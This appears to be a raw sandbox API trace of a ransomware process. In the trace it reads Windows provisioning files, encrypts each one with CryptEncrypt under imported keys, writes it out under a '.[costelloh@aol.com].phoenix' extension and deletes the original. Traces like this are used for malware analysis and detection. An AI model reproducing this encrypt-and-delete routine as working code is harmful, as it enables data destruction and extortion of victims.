	[0237.127] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0237.281] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0237.281] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.282] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0237.282] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.282] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0237.282] CryptDestroyKey (hKey=0x151080) returned 1
	[0237.282] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0237.282] CryptDestroyKey (hKey=0x151040) returned 1
	[0237.282] CloseHandle (hObject=0x2e4) returned 1
	[0237.282] CloseHandle (hObject=0x2d4) returned 1
	[0237.282] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.296] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.296] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.297] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=644) returned 1
	[0237.297] CloseHandle (hObject=0x2e4) returned 1
	[0237.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.297] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.297] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.297] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.297] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0237.297] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.297] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x284, lpOverlapped=0x0) returned 1
	[0237.350] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0237.350] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0237.351] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0237.351] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.351] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.351] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.351] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.351] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0237.351] CloseHandle (hObject=0x2e4) returned 1
	[0237.351] CloseHandle (hObject=0x2f4) returned 1
	[0237.358] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.359] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.359] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.359] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=722) returned 1
	[0237.359] CloseHandle (hObject=0x2f4) returned 1
	[0237.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.359] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.359] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.359] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.360] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0237.360] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.360] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d2, lpOverlapped=0x0) returned 1
	[0237.422] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0237.422] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.423] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0237.423] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.423] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0237.423] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0237.423] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0237.423] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0237.423] CloseHandle (hObject=0x2f4) returned 1
	[0237.423] CloseHandle (hObject=0x2e4) returned 1
	[0237.424] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.425] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.425] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=720) returned 1
	[0237.425] CloseHandle (hObject=0x2e4) returned 1
	[0237.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.426] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.426] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.426] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151080) returned 1
	[0237.426] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.426] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.507] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0237.507] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.508] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0237.508] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.508] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0237.508] CryptDestroyKey (hKey=0x151500) returned 1
	[0237.508] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0237.508] CryptDestroyKey (hKey=0x151080) returned 1
	[0237.508] CloseHandle (hObject=0x2e4) returned 1
	[0237.508] CloseHandle (hObject=0x2f4) returned 1
	[0237.509] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.510] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.510] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.510] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0237.510] CloseHandle (hObject=0x2f4) returned 1
	[0237.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0237.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.511] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.511] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.511] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.511] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0237.511] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.511] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0237.512] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0237.512] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0237.513] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151240) returned 1
	[0237.513] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.513] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0237.513] CryptDestroyKey (hKey=0x151240) returned 1
	[0237.513] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0237.513] CryptDestroyKey (hKey=0x151400) returned 1
	[0237.513] CloseHandle (hObject=0x2f4) returned 1
	[0237.513] CloseHandle (hObject=0x2e4) returned 1
	[0237.514] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0237.515] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
